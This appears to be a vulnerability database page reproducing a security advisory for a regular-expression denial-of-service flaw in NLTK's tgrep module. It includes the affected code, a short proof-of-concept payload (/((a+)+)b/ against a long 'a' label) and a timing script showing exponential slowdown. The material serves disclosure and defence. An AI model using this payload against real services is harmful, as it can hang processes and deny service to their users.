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GHSA-W3V8-GMH9-3WV7

Vulnerability from github – Published: 2026-09-08 20:28 – Updated: 2026-09-08 20:28
VLAI
Summary
NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions
Details

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py — _tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

def _tgrep_node_action(_s, _l, tokens):
    ...
    elif tokens[0].startswith("/"):
        assert tokens[0].endswith("/")
        node_lit = tokens[0][1:-1]
        return (
            lambda r: lambda n, m=None, l=None: r.search(
                _tgrep_node_literal_value(n)
            )
        )(re.compile(node_lit))  # User regex compiled and executed with no timeout

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

import nltk
from nltk.tgrep import tgrep_positions

# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree])   # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

import nltk
from nltk.tgrep import tgrep_positions
import time

def test_n(n):
    tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
    pattern = r"/((a+)+)b/"
    start = time.perf_counter()
    list(tgrep_positions(pattern, [tree]))
    return time.perf_counter() - start

if __name__ == "__main__":
    # Adjust the range if needed – these values complete quickly
    n_values = [18, 20, 22, 24, 26, 28]
    print(f"Testing n = {n_values}\n")

    times = []
    for n in n_values:
        t = test_n(n)
        times.append((n, t))
        print(f"n={n:2d} done", flush=True)

    print("\n--- Increase factors (per step in n) ---")
    factors = []
    for i in range(1, len(times)):
        prev_n, prev_t = times[i-1]
        curr_n, curr_t = times[i]
        factor = curr_t / prev_t
        factors.append((curr_n, factor))
        print(f"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})")

    avg = sum(f for _, f in factors) / len(factors)
    print(f"\nAverage factor: {avg:.2f}x")
    print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
    print("   Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact

In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation

This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit

Tool: Kira by Offgrid Security

Severity
8.2 (High)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-80206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T20:28:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` \u2014 `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 \u0027a\u0027 characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No \u0027b\u0027 is present \u2014 exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n \u2265 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed \u2013 these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n\u2705 Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (\u2265 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor \u003e 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `\u003c= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)",
  "id": "GHSA-w3v8-gmh9-3wv7",
  "modified": "2026-09-08T20:28:28Z",
  "published": "2026-09-08T20:28:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
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  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


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